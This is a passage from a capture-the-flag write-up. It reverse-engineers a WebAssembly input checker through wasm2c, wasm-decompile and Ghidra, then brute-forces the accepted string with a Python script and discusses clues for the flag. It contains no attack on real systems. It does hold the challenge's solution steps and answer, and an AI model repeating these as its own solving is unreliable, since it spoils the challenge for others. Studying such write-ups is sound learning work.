w2c_i0; w2c_i0 = w2c_l291; w2c_i1 = 140u; w2c_i0 &= w2c_i1; w2c_l178 = w2c_i0; w2c_i0 = w2c_l235; w2c_l102 = w2c_i0; w2c_i0 = w2c_l102; w2c_i1 = 4294967155u; w2c_i0 &= w2c_i1; w2c_l179 = w2c_i0; w2c_i0 = w2c_l178; w2c_i1 = w2c_l179; w2c_i0 |= w2c_i1; w2c_l322 = w2c_i0; w2c_i0 = w2c_l322; w2c_i1 = 191u; w2c_i0 -= w2c_i1; w2c_l354 = w2c_i0; w2c_i0 = w2c_l354; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l260 = w2c_i0; w2c_i0 = w2c_l342; w2c_l103 = w2c_i0; w2c_i0 = w2c_l103; w2c_i1 = w2c_l260; w2c_i0 += w2c_i1; w2c_l136 = w2c_i0; w2c_i0 = w2c_l136; w2c_l342 = w2c_i0; w2c_i0 = w2c_l236; w2c_l104 = w2c_i0; w2c_i0 = w2c_l104; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l292 = w2c_i0; w2c_i0 = w2c_l292; w2c_i1 = 149u; w2c_i0 &= w2c_i1; w2c_l181 = w2c_i0; w2c_i0 = w2c_l236; w2c_l105 = w2c_i0; w2c_i0 = w2c_l105; w2c_i1 = 4294967146u; w2c_i0 &= w2c_i1; w2c_l182 = w2c_i0; w2c_i0 = w2c_l181; w2c_i1 = w2c_l182; w2c_i0 |= w2c_i1; w2c_l323 = w2c_i0; w2c_i0 = w2c_l323; w2c_i1 = 162u; w2c_i0 -= w2c_i1; w2c_l355 = w2c_i0; w2c_i0 = w2c_l355; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l261 = w2c_i0; w2c_i0 = w2c_l342; w2c_l106 = w2c_i0; w2c_i0 = w2c_l106; w2c_i1 = w2c_l261; w2c_i0 += w2c_i1; w2c_l137 = w2c_i0; w2c_i0 = w2c_l137; w2c_l342 = w2c_i0; w2c_i0 = w2c_l237; w2c_l107 = w2c_i0; w2c_i0 = w2c_l107; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l293 = w2c_i0; w2c_i0 = w2c_l293; w2c_i1 = 18u; w2c_i0 &= w2c_i1; w2c_l183 = w2c_i0; w2c_i0 = w2c_l237; w2c_l108 = w2c_i0; w2c_i0 = w2c_l108; w2c_i1 = 4294967277u; w2c_i0 &= w2c_i1; w2c_l184 = w2c_i0; w2c_i0 = w2c_l183; w2c_i1 = w2c_l184; w2c_i0 |= w2c_i1; w2c_l324 = w2c_i0; w2c_i0 = w2c_l324; w2c_i1 = 32u; w2c_i0 -= w2c_i1; w2c_l356 = w2c_i0; w2c_i0 = w2c_l356; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l262 = w2c_i0; w2c_i0 = w2c_l342; w2c_l110 = w2c_i0; w2c_i0 = w2c_l110; w2c_i1 = w2c_l262; w2c_i0 += w2c_i1; w2c_l138 = w2c_i0; w2c_i0 = w2c_l138; w2c_l342 = w2c_i0; w2c_i0 = w2c_l238; w2c_l111 = w2c_i0; w2c_i0 = w2c_l111; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l294 = w2c_i0; w2c_i0 = w2c_l294; w2c_i1 = 168u; w2c_i0 &= w2c_i1; w2c_l186 = w2c_i0; w2c_i0 = w2c_l238; w2c_l112 = w2c_i0; w2c_i0 = w2c_l112; w2c_i1 = 4294967127u; w2c_i0 &= w2c_i1; w2c_l187 = w2c_i0; w2c_i0 = w2c_l186; w2c_i1 = w2c_l187; w2c_i0 |= w2c_i1; w2c_l325 = w2c_i0; w2c_i0 = w2c_l325; w2c_i1 = 144u; w2c_i0 -= w2c_i1; w2c_l357 = w2c_i0; w2c_i0 = w2c_l357; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l263 = w2c_i0; w2c_i0 = w2c_l342; w2c_l113 = w2c_i0; w2c_i0 = w2c_l113; w2c_i1 = w2c_l263; w2c_i0 += w2c_i1; w2c_l139 = w2c_i0; w2c_i0 = w2c_l139; w2c_l342 = w2c_i0; w2c_i0 = w2c_l239; w2c_l114 = w2c_i0; w2c_i0 = w2c_l114; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l295 = w2c_i0; w2c_i0 = w2c_l295; w2c_i1 = 234u; w2c_i0 &= w2c_i1; w2c_l188 = w2c_i0; w2c_i0 = w2c_l239; w2c_l115 = w2c_i0; w2c_i0 = w2c_l115; w2c_i1 = 4294967061u; w2c_i0 &= w2c_i1; w2c_l189 = w2c_i0; w2c_i0 = w2c_l188; w2c_i1 = w2c_l189; w2c_i0 |= w2c_i1; w2c_l327 = w2c_i0; w2c_i0 = w2c_l327; w2c_i1 = 219u; w2c_i0 -= w2c_i1; w2c_l358 = w2c_i0; w2c_i0 = w2c_l358; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l264 = w2c_i0; w2c_i0 = w2c_l342; w2c_l116 = w2c_i0; w2c_i0 = w2c_l116; w2c_i1 = w2c_l264; w2c_i0 += w2c_i1; w2c_l140 = w2c_i0; w2c_i0 = w2c_l140; w2c_l342 = w2c_i0; w2c_i0 = w2c_l240; w2c_l117 = w2c_i0; w2c_i0 = w2c_l117; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l296 = w2c_i0; w2c_i0 = w2c_l296; w2c_i1 = 173u; w2c_i0 &= w2c_i1; w2c_l190 = w2c_i0; w2c_i0 = w2c_l240; w2c_l118 = w2c_i0; w2c_i0 = w2c_l118; w2c_i1 = 4294967122u; w2c_i0 &= w2c_i1; w2c_l191 = w2c_i0; w2c_i0 = w2c_l190; w2c_i1 = w2c_l191; w2c_i0 |= w2c_i1; w2c_l328 = w2c_i0; w2c_i0 = w2c_l328; w2c_i1 = 149u; w2c_i0 -= w2c_i1; w2c_l360 = w2c_i0; w2c_i0 = w2c_l360; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l265 = w2c_i0; w2c_i0 = w2c_l342; w2c_l119 = w2c_i0; w2c_i0 = w2c_l119; w2c_i1 = w2c_l265; w2c_i0 += w2c_i1; w2c_l141 = w2c_i0; w2c_i0 = w2c_l141; w2c_l342 = w2c_i0; w2c_i0 = w2c_l242; w2c_l121 = w2c_i0; w2c_i0 = w2c_l121; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l298 = w2c_i0; w2c_i0 = w2c_l298; w2c_i1 = 39u; w2c_i0 &= w2c_i1; w2c_l192 = w2c_i0; w2c_i0 = w2c_l242; w2c_l122 = w2c_i0; w2c_i0 = w2c_l122; w2c_i1 = 4294967256u; w2c_i0 &= w2c_i1; w2c_l193 = w2c_i0; w2c_i0 = w2c_l192; w2c_i1 = w2c_l193; w2c_i0 |= w2c_i1; w2c_l329 = w2c_i0; w2c_i0 = w2c_l329; w2c_i1 = 18u; w2c_i0 -= w2c_i1; w2c_l361 = w2c_i0; w2c_i0 = w2c_l361; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l267 = w2c_i0; w2c_i0 = w2c_l342; w2c_l123 = w2c_i0; w2c_i0 = w2c_l123; w2c_i1 = w2c_l267; w2c_i0 += w2c_i1; w2c_l142 = w2c_i0; w2c_i0 = w2c_l142; w2c_l342 = w2c_i0; w2c_i0 = w2c_l342; w2c_l124 = w2c_i0; w2c_i0 = w2c_l375; w2c_g2 = w2c_i0; w2c_i0 = w2c_l124; goto w2c_Bfunc; w2c_Bfunc:; FUNC_EPILOGUE; return w2c_i0; } static void init_memory(void) { } static void init_table(void) { uint32_t offset; } /* export: '_ver' */ u32 (*WASM_RT_ADD_PREFIX(Z__verZ_iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii))(u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32, u32); static void init_exports(void) { /* export: '_ver' */ WASM_RT_ADD_PREFIX(Z__verZ_iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii) = (&w2c__ver); } void WASM_RT_ADD_PREFIX(init)(void) { init_func_types(); init_globals(); init_memory(); init_table(); init_exports(); } ``` </details> That not very easy to read, but in C you could do worse. We can still translate the C into a slightly more readable form of pseudocode: ```console ┌──(user@kali)-[/media/sf_CTFs/cyberark/Finally_-_home] └─$ ~/utils/web/wabt/build/wasm-decompile script.wasm -o script.dcmp ``` This is what we get: <details> <summary>Click to expand!</summary> ``` import memory env_memory; import global env_memory_base:int; import global env_table_base:int; global g_c:int = 2080; global g_d:int = 5244960; global g_e:float = 0.0f; import table env_table:funcref; import function env_abortStackOverflow(a:int); export function ver(a:int, b:int, c:int, d:int, e:int, f:int, g:int, h:int, i:int, j:int, k:int, l:int, m:int, n:int, o:int, p:int, q:int, r:int, s:int, t:int, u:int, v:int, w:int, x:int, y:int, z:int, aa:int, ba:int, ca:int, da:int, ea:int):int { var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var mn:int; var ln:int = g_c; g_c = g_c + 128; if (g_c >= g_d) { env_abortStackOverflow(128) } var kh:int = a; var lh:int = b; var wh:int = c; var hi:int = d; var ji:int = e; var ki:int = f; var li:int = g; var mi:int = h; var ni:int = i; var oi:int = j; var mh:int = k; var nh:int = l; var oh:int = m; var ph:int = n; var qh:int = o; var rh:int = p; var sh:int = q; var th:int = r; var uh:int = s; var vh:int = t; var xh:int = u; var yh:int = v; var zh:int = w; var ai:int = x; var bi:int = y; var ci:int = z; var di:int = aa; var ei:int = ba; var fi:int = ca; var gi:int = da; var ii:int = ea; var em:int = 0; var fa:int = kh; var uj:int = fa ^ -1; var af:int = uj & 167; var ga:int = kh; var bf:int = ga & -168; var zk:int = af | bf; var fm:int = zk - 193; var pi:int = { mn = fm; select_if(0 - mn, mn, mn < 0); label B_b: } var ra:int = em; var vd:int = ra + pi; em = vd; var cb:int = lh; var lk:int = cb ^ -1; var og:int = lk & 16; var nb:int = lh; var tg:int = nb & -17; var wl:int = og | tg; var dn:int = wl - 32; var oj:int = { mn = dn; select_if(0 - mn, mn, mn < 0); label B_c: } var yb:int = em; var we:int = yb + oj; em = we; var jc:int = wh; var xk:int = jc ^ -1; var cf:int = xk & 240; var uc:int = wh; var hf:int = uc & -241; var dl:int = cf | hf; var km:int = dl - 130; var vi:int = { mn = km; select_if(0 - mn, mn, mn < 0); label B_d: } var fd:int = em; var de:int = fd + vi; em = de; var qd:int = hi; var ek:int = qd ^ -1; var yf:int = ek & 159; var ha:int = hi; var dg:int = ha & -160; var ol:int = yf | dg; var vm:int = ol - 192; var gj:int = { mn = vm; select_if(0 - mn, mn, mn < 0); label B_e: } var ia:int = em; var ne:int = ia + gj; em = ne; var ja:int = ji; var nk:int = ja ^ -1; var mg:int = nk & 240; var ka:int = ji; var ng:int = ka & -241; var sl:int = mg | ng; var ym:int = sl - 150; var ij:int = { mn = ym; select_if(0 - mn, mn, mn < 0); label B_f: } var la:int = em; var oe:int = la + ij; em = oe; var ma:int = ki; var ok:int = ma ^ -1; var pg:int = ok & 65; var na:int = ki; var qg:int = na & -66; var tl:int = pg | qg; var zm:int = tl - 52; var jj:int = { mn = zm; select_if(0 - mn, mn, mn < 0); label B_g: } var oa:int = em; var pe:int = oa + jj; em = pe; var pa:int = li; var pk:int = pa ^ -1; var rg:int = pk & 105; var qa:int = li; var sg:int = qa & -106; var ul:int = rg | sg; var an:int = ul - 27; var kj:int = { mn = an; select_if(0 - mn, mn, mn < 0); label B_h: } var sa:int = em; var qe:int = sa + kj; em = qe; var ta:int = mi; var qk:int = ta ^ -1; var ug:int = qk & 49; var ua:int = mi; var vg:int = ua & -50; var vl:int = ug | vg; var bn:int = vl - 69; var lj:int = { mn = bn; select_if(0 - mn, mn, mn < 0); label B_i: } var va:int = em; var re:int = va + lj; em = re; var wa:int = ni; var rk:int = wa ^ -1; var wg:int = rk & 119; var xa:int = ni; var xg:int = xa & -120; var xl:int = wg | xg; var cn:int = xl - 31; var mj:int = { mn = cn; select_if(0 - mn, mn, mn < 0); label B_j: } var ya:int = em; var se:int = ya + mj; em = se; var za:int = oi; var sk:int = za ^ -1; var yg:int = sk & 12; var ab:int = oi; var zg:int = ab & -13; var yl:int = yg | zg; var en:int = yl - 63; var nj:int = { mn = en; select_if(0 - mn, mn, mn < 0); label B_k: } var bb:int = em; var te:int = bb + nj; em = te; var db:int = mh; var tk:int = db ^ -1; var ah:int = tk & 210; var eb:int = mh; var bh:int = eb & -211; var zl:int = ah | bh; var fn:int = zl - 160; var pj:int = { mn = fn; select_if(0 - mn, mn, mn < 0); label B_l: } var fb:int = em; var ue:int = fb + pj; em = ue; var gb:int = nh; var uk:int = gb ^ -1; var ch:int = uk & 108; var hb:int = nh; var dh:int = hb & -109; var am:int = ch | dh; var gn:int = am - 51; var qj:int = { mn = gn; select_if(0 - mn, mn, mn < 0); label B_m: } var ib:int = em; var ve:int = ib + qj; em = ve; var jb:int = oh; var vk:int = jb ^ -1; var eh:int = vk & 184; var kb:int = oh; var fh:int = kb & -185; var bm:int = eh | fh; var hn:int = bm - 137; var rj:int = { mn = hn; select_if(0 - mn, mn, mn < 0); label B_n: } var lb:int = em; var xe:int = lb + rj; em = xe; var mb:int = ph; var wk:int = mb ^ -1; var gh:int = wk & 235; var ob:int = ph; var hh:int = ob & -236; var cm:int = gh | hh; var in:int = cm - 133; var sj:int = { mn = in; select_if(0 - mn, mn, mn < 0); label B_o: } var pb:int = em; var ye:int = pb + sj; em = ye; var qb:int = qh; var yk:int = qb ^ -1; var ih:int = yk & 118; var rb:int = qh; var jh:int = rb & -119; var dm:int = ih | jh; var jn:int = dm - 16; var tj:int = { mn = jn; select_if(0 - mn, mn, mn < 0); label B_p: } var sb:int = em; var ze:int = sb + tj; em = ze; var tb:int = rh; var vj:int = tb ^ -1; var df:int = vj & 52; var ub:int = rh; var ef:int = ub & -53; var al:int = df | ef; var gm:int = al - 4; var qi:int = { mn = gm; select_if(0 - mn, mn, mn < 0); label B_q: } var vb:int = em; var wd:int = vb + qi; em = wd; var wb:int = sh; var wj:int = wb ^ -1; var ff:int = wj & 213; var xb:int = sh; var gf:int = xb & -214; var bl:int = ff | gf; var hm:int = bl - 138; var ri:int = { mn = hm; select_if(0 - mn, mn, mn < 0); label B_r: } var zb:int = em; var xd:int = zb + ri; em = xd; var ac:int = th; var xj:int = ac ^ -1; var if:int = xj & 5; var bc:int = th; var jf:int = bc & -6; var cl:int = if | jf; var im:int = cl - 102; var si:int = { mn = im; select_if(0 - mn, mn, mn < 0); label B_s: } var cc:int = em; var yd:int = cc + si; em = yd; var dc:int = uh; var yj:int = dc ^ -1; var kf:int = yj & 107; var ec:int = uh; var lf:int = ec & -108; var el:int = kf | lf; var jm:int = el - 95; var ti:int = { mn = jm; select_if(0 - mn, mn, mn < 0); label B_t: } var fc:int = em; var zd:int = fc + ti; em = zd; var gc:int = vh; var zj:int = gc ^ -1; var mf:int = zj & 106; var hc:int = vh; var nf:int = hc & -107; var fl:int = mf | nf; var lm:int = fl - 91; var ui:int = { mn = lm; select_if(0 - mn, mn, mn < 0); label B_u: } var ic:int = em; var ae:int = ic + ui; em = ae; var kc:int = xh; var ak:int = kc ^ -1; var of:int = ak & 165; var lc:int = xh; var pf:int = lc & -166; var gl:int = of | pf; var mm:int = gl - 148; var wi:int = { mn = mm; select_if(0 - mn, mn, mn < 0); label B_v: } var mc:int = em; var be:int = mc + wi; em = be; var nc:int = yh; var bk:int = nc ^ -1; var qf:int = bk & 12; var oc:int = yh; var rf:int = oc & -13; var hl:int = qf | rf; var nm:int = hl - 83; var xi:int = { mn = nm; select_if(0 - mn, mn, mn < 0); label B_w: } var pc:int = em; var ce:int = pc + xi; em = ce; var qc:int = zh; var ck:int = qc ^ -1; var sf:int = ck & 182; var rc:int = zh; var tf:int = rc & -183; var il:int = sf | tf; var om:int = il - 134; var yi:int = { mn = om; select_if(0 - mn, mn, mn < 0); label B_x: } var sc:int = em; var ee:int = sc + yi; em = ee; var tc:int = ai; var dk:int = tc ^ -1; var uf:int = dk & 220; var vc:int = ai; var vf:int = vc & -221; var jl:int = uf | vf; var pm:int = jl - 239; var zi:int = { mn = pm; select_if(0 - mn, mn, mn < 0); label B_y: } var wc:int = em; var fe:int = wc + zi; em = fe; var xc:int = bi; var fk:int = xc ^ -1; var wf:int = fk & 140; var yc:int = bi; var xf:int = yc & -141; var kl:int = wf | xf; var qm:int = kl - 191; var aj:int = { mn = qm; select_if(0 - mn, mn, mn < 0); label B_z: } var zc:int = em; var ge:int = zc + aj; em = ge; var ad:int = ci; var gk:int = ad ^ -1; var zf:int = gk & 149; var bd:int = ci; var ag:int = bd & -150; var ll:int = zf | ag; var rm:int = ll - 162; var bj:int = { mn = rm; select_if(0 - mn, mn, mn < 0); label B_aa: } var cd:int = em; var he:int = cd + bj; em = he; var dd:int = di; var hk:int = dd ^ -1; var bg:int = hk & 18; var ed:int = di; var cg:int = ed & -19; var ml:int = bg | cg; var sm:int = ml - 32; var cj:int = { mn = sm; select_if(0 - mn, mn, mn < 0); label B_ba: } var gd:int = em; var ie:int = gd + cj; em = ie; var hd:int = ei; var ik:int = hd ^ -1; var eg:int = ik & 168; var id:int = ei; var fg:int = id & -169; var nl:int = eg | fg; var tm:int = nl - 144; var dj:int = { mn = tm; select_if(0 - mn, mn, mn < 0); label B_ca: } var jd:int = em; var je:int = jd + dj; em = je; var kd:int = fi; var jk:int = kd ^ -1; var gg:int = jk & 234; var ld:int = fi; var hg:int = ld & -235; var pl:int = gg | hg; var um:int = pl - 219; var ej:int = { mn = um; select_if(0 - mn, mn, mn < 0); label B_da: } var md:int = em; var ke:int = md + ej; em = ke; var nd:int = gi; var kk:int = nd ^ -1; var ig:int = kk & 173; var od:int = gi; var jg:int = od & -174; var ql:int = ig | jg; var wm:int = ql - 149; var fj:int = { mn = wm; select_if(0 - mn, mn, mn < 0); label B_ea: } var pd:int = em; var le:int = pd + fj; em = le; var rd:int = ii; var mk:int = rd ^ -1; var kg:int = mk & 39; var sd:int = ii; var lg:int = sd & -40; var rl:int = kg | lg; var xm:int = rl - 18; var hj:int = { mn = xm; select_if(0 - mn, mn, mn < 0); label B_fa: } var td:int = em; var me:int = td + hj; em = me; var ud:int = em; g_c = ln; return ud; } ``` </details> We're getting there, but took the wrong turn. Ghidra would do a much better job at explaining what's going on. So, we just need to compile the program (full instructions can be found [here](https://github.com/WebAssembly/wabt/blob/main/wasm2c/README.md), but it's enough to build an object file): ```console ┌──(user@kali)-[/media/sf_CTFs/cyberark/Finally_-_home] └─$ cp /home/user/utils/web/wabt/wasm2c/wasm-rt.h . ┌──(user@kali)-[/media/sf_CTFs/cyberark/Finally_-_home] └─$ gcc -c script.c -o script.o ``` Then open the file in Ghidra and finally see something we can work with: ```c int w2c__ver(uint param_1,uint param_2,uint param_3,uint param_4,uint param_5,uint param_6, uint param_7,uint param_8,uint param_9,uint param_10,uint param_11,uint param_12, uint param_13,uint param_14,uint param_15,uint param_16,uint param_17,uint param_18, uint param_19,uint param_20,uint param_21,uint param_22,uint param_23,uint param_24, uint param_25,uint param_26,uint param_27,uint param_28,uint param_29,uint param_30, uint param_31) { int iVar1; int iVar2; int iVar3; int iVar4; int iVar5; int iVar6; int iVar7; int iVar8; int iVar9; int iVar10; int iVar11; int iVar12; int iVar13; int iVar14; int iVar15; int iVar16; int iVar17; int iVar18; int iVar19; int iVar20; int iVar21; int iVar22; int iVar23; int iVar24; int iVar25; int iVar26; int iVar27; int iVar28; int iVar29; int iVar30; int iVar31; int iVar32; wasm_rt_call_stack_depth = wasm_rt_call_stack_depth + 1; if (500 < wasm_rt_call_stack_depth) { wasm_rt_trap(7); } iVar1 = w2c_g2; w2c_g2 = w2c_g2 + 0x80; if (w2c_g3 <= w2c_g2) { (*Z_envZ_abortStackOverflowZ_vi)(0x80); } iVar2 = ((param_1 ^ 0xffffffff) & 0xa7 | param_1 & 0xffffff58) - 0xc1; if (iVar2 < 0) { iVar2 = -iVar2; } iVar3 = ((param_2 ^ 0xffffffff) & 0x10 | param_2 & 0xffffffef) - 0x20; if (iVar3 < 0) { iVar3 = -iVar3; } iVar4 = ((param_3 ^ 0xffffffff) & 0xf0 | param_3 & 0xffffff0f) - 0x82; if (iVar4 < 0) { iVar4 = -iVar4; } iVar5 = ((param_4 ^ 0xffffffff) & 0x9f | param_4 & 0xffffff60) - 0xc0; if (iVar5 < 0) { iVar5 = -iVar5; } iVar6 = ((param_5 ^ 0xffffffff) & 0xf0 | param_5 & 0xffffff0f) - 0x96; if (iVar6 < 0) { iVar6 = -iVar6; } iVar7 = ((param_6 ^ 0xffffffff) & 0x41 | param_6 & 0xffffffbe) - 0x34; if (iVar7 < 0) { iVar7 = -iVar7; } iVar8 = ((param_7 ^ 0xffffffff) & 0x69 | param_7 & 0xffffff96) - 0x1b; if (iVar8 < 0) { iVar8 = -iVar8; } iVar9 = ((param_8 ^ 0xffffffff) & 0x31 | param_8 & 0xffffffce) - 0x45; if (iVar9 < 0) { iVar9 = -iVar9; } iVar10 = ((param_9 ^ 0xffffffff) & 0x77 | param_9 & 0xffffff88) - 0x1f; if (iVar10 < 0) { iVar10 = -iVar10; } iVar11 = ((param_10 ^ 0xffffffff) & 0xc | param_10 & 0xfffffff3) - 0x3f; if (iVar11 < 0) { iVar11 = -iVar11; } iVar12 = ((param_11 ^ 0xffffffff) & 0xd2 | param_11 & 0xffffff2d) - 0xa0; if (iVar12 < 0) { iVar12 = -iVar12; } iVar13 = ((param_12 ^ 0xffffffff) & 0x6c | param_12 & 0xffffff93) - 0x33; if (iVar13 < 0) { iVar13 = -iVar13; } iVar14 = ((param_13 ^ 0xffffffff) & 0xb8 | param_13 & 0xffffff47) - 0x89; if (iVar14 < 0) { iVar14 = -iVar14; } iVar15 = ((param_14 ^ 0xffffffff) & 0xeb | param_14 & 0xffffff14) - 0x85; if (iVar15 < 0) { iVar15 = -iVar15; } iVar16 = ((param_15 ^ 0xffffffff) & 0x76 | param_15 & 0xffffff89) - 0x10; if (iVar16 < 0) { iVar16 = -iVar16; } iVar17 = ((param_16 ^ 0xffffffff) & 0x34 | param_16 & 0xffffffcb) - 4; if (iVar17 < 0) { iVar17 = -iVar17; } iVar18 = ((param_17 ^ 0xffffffff) & 0xd5 | param_17 & 0xffffff2a) - 0x8a; if (iVar18 < 0) { iVar18 = -iVar18; } iVar19 = ((param_18 ^ 0xffffffff) & 5 | param_18 & 0xfffffffa) - 0x66; if (iVar19 < 0) { iVar19 = -iVar19; } iVar20 = ((param_19 ^ 0xffffffff) & 0x6b | param_19 & 0xffffff94) - 0x5f; if (iVar20 < 0) { iVar20 = -iVar20; } iVar21 = ((param_20 ^ 0xffffffff) & 0x6a | param_20 & 0xffffff95) - 0x5b; if (iVar21 < 0) { iVar21 = -iVar21; } iVar22 = ((param_21 ^ 0xffffffff) & 0xa5 | param_21 & 0xffffff5a) - 0x94; if (iVar22 < 0) { iVar22 = -iVar22; } iVar23 = ((param_22 ^ 0xffffffff) & 0xc | param_22 & 0xfffffff3) - 0x53; if (iVar23 < 0) { iVar23 = -iVar23; } iVar24 = ((param_23 ^ 0xffffffff) & 0xb6 | param_23 & 0xffffff49) - 0x86; if (iVar24 < 0) { iVar24 = -iVar24; } iVar25 = ((param_24 ^ 0xffffffff) & 0xdc | param_24 & 0xffffff23) - 0xef; if (iVar25 < 0) { iVar25 = -iVar25; } iVar26 = ((param_25 ^ 0xffffffff) & 0x8c | param_25 & 0xffffff73) - 0xbf; if (iVar26 < 0) { iVar26 = -iVar26; } iVar27 = ((param_26 ^ 0xffffffff) & 0x95 | param_26 & 0xffffff6a) - 0xa2; if (iVar27 < 0) { iVar27 = -iVar27; } iVar28 = ((param_27 ^ 0xffffffff) & 0x12 | param_27 & 0xffffffed) - 0x20; if (iVar28 < 0) { iVar28 = -iVar28; } iVar29 = ((param_28 ^ 0xffffffff) & 0xa8 | param_28 & 0xffffff57) - 0x90; if (iVar29 < 0) { iVar29 = -iVar29; } iVar30 = ((param_29 ^ 0xffffffff) & 0xea | param_29 & 0xffffff15) - 0xdb; if (iVar30 < 0) { iVar30 = -iVar30; } iVar31 = ((param_30 ^ 0xffffffff) & 0xad | param_30 & 0xffffff52) - 0x95; if (iVar31 < 0) { iVar31 = -iVar31; } iVar32 = ((param_31 ^ 0xffffffff) & 0x27 | param_31 & 0xffffffd8) - 0x12; if (iVar32 < 0) { iVar32 = -iVar32; } w2c_g2 = iVar1; wasm_rt_call_stack_depth = wasm_rt_call_stack_depth - 1; return iVar2 + iVar3 + iVar4 + iVar5 + iVar6 + iVar7 + iVar8 + iVar9 + iVar10 + iVar11 + iVar12 + iVar13 + iVar14 + iVar15 + iVar16 + iVar17 + iVar18 + iVar19 + iVar20 + iVar21 + iVar22 + iVar23 + iVar24 + iVar25 + iVar26 + iVar27 + iVar28 + iVar29 + iVar30 + iVar31 + iVar32; } ``` Easy as pie, we just had to convert the WASM to WAT, then to C, then to assembly and back to C for this. Anyway, looks like each character is being tested on its own. The sum of all characters needs to be zero, and each character is ensured to be positive. So, assuming we're not aiming for a wraparound, each character on its own should produce a zero after being manipulated. We *could* throw this into Z3 but it seems simple enough to just brute-force, and we do have a long way ahead of us: ```python import string import re pattern = re.compile(r"\(\(.* \^ (.*)\) \& (.*) \| .* \& (.*)\) \- (.*)\;") with open("ghidra.c") as f: result = "" groups = pattern.findall(f.read()) for group in groups: for c in string.printable: if ((ord(c) ^ int(group[0], 16)) & int(group[1], 16) | ord(c) & int(group[2], 16)) - int(group[3], 16) == 0: result += c print(result) ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/cyberark/Finally_-_home] └─$ python3 solve.py f0r_furth3r_1nf0_c411_033728185 ``` Great! We found the input that is accepted by the form. However, it isn't accepted as the flag. Should we really call the number? On the other side of the phone we are greeted with the following message: ``` Countdown for landing. 10 C B A 9 8 7 6 5 4 3 2 1 0. Successful landing. Great job cadet. We understand you've found a message from extraterrestrial life. Please, send that important flag to us. ``` Well, in the second stage ("The search for a higher being") we decrypted an extraterrestrial message, and the third stage's description claimed that "while drinking your victory coffee after you found an alien message, some coffee spilled on one piece of the spaceship's equipment!". So, they must want the flag from the second stage: "What a lovely day". Unfortunately, it isn't accepted as the flag. Maybe the base64-encoded form? Or the incorrectly-rust-decrypted form? Or is it maybe the "on va le chercher toute la journée!!!!!!!!" howl found in the rust code, encrypted/encoded/translated from French? Unfortunately, those didn't work either. We are ignoring the elephant in the room though. What's that "C B A" stuck in the middle of the countdown? It must be a clue. And since the simplest explanation is usually the best one, we must deduce that if someone is counting down like that, they must be counting down in base 13. So, we grab a random [base13 encoder](https://github.com/alanhett/ace/blob/master/ace.js), modify it a bit to suit our needs and get the following code: ```javascript >>> function 